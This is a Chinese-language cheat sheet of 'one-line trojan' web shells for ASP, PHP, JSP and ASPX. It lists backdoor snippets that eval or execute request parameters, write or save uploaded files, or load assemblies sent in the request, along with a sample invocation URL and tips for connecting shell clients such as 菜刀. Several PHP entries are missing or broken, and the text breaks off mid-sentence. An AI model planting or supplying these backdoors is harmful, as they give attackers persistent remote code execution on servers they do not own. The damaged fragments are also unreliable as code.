各種一句話大集合

asp一句話木馬

程式後門代碼

 <%eval request("admin163")%>

 程式碼 <%execute request("admin163")%>

程式碼 <%execute(request("admin163"))%>

 程式碼 <%execute request("admin163")%><%'<% loop <%:%>

 程式後門代碼 <%'<% loop <%:%><%execute request("admin163")%>

程式後門代碼 <%execute request("sb")'<% loop <%:%>[code] [code]

程式碼

%><%Eval(Request(chr(35)))%><%

程式碼 <%eval request("admin163")%>

程式後門代碼 <%ExecuteGlobal request("admin163")%>

程式碼 if Request("sb")<>"" then ExecuteGlobal request("admin163") end if //容錯代碼

 程式碼 <%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%> <% var lcx = {'名字' : Request.form('#'), '性別' : eval, '年齡' : '18', '暱稱' : '請叫我一聲老大'}; lcx.性別((lcx.名字)+''); %> //使用冰狐一句話用戶端連結

程式後門代碼 <% Set o = Server.CreateObject("ScriptControl") o.language = "vbscript" o.addcode(Request("SubCode")) '參數SubCode作為過程代碼 o.run "e",Server,Response,Request,Application,Session,Error '參數名e 調用之，同時壓入6個基底物件作為參數 %> 調用樣本：

程式碼 http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29 php一句話木馬 程式後門代碼

程式碼

//容錯代碼 程式碼

//使用lanker一句話用戶端的專家模式執行相關的php語句 程式碼

$_POST['sa']($_POST['admin163']);? >程式碼 $_POST['sa']($_POST['sb'],$_POST['admin163'])?>

程式碼

?>

//使用這個後,使用菜刀一句話用戶端在配置串連的時候在"配置"一欄輸入 程式碼h=@eval($_POST[admin163]);程式碼

//繞過<?限制的一句話 JSP一句話木馬 程式後門代碼 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> 提交用戶端 程式後門代碼 

ASPX一句話木馬 程式碼

 <%@ Page Language="Jscript"%>

<%eval(Request.Item["admin163"],"unsafe");%>

程式碼 <%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["admin163"],"unsafe"));%> //Jscript的asp.net一句話

程式後門代碼 <%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["admin163"]) ); }%> //C#的asp.net一句話

程式碼 <% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("admin163")) ) %>

在補一個 <%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

利用 ASPX一句話shell用戶端+ASPXshell連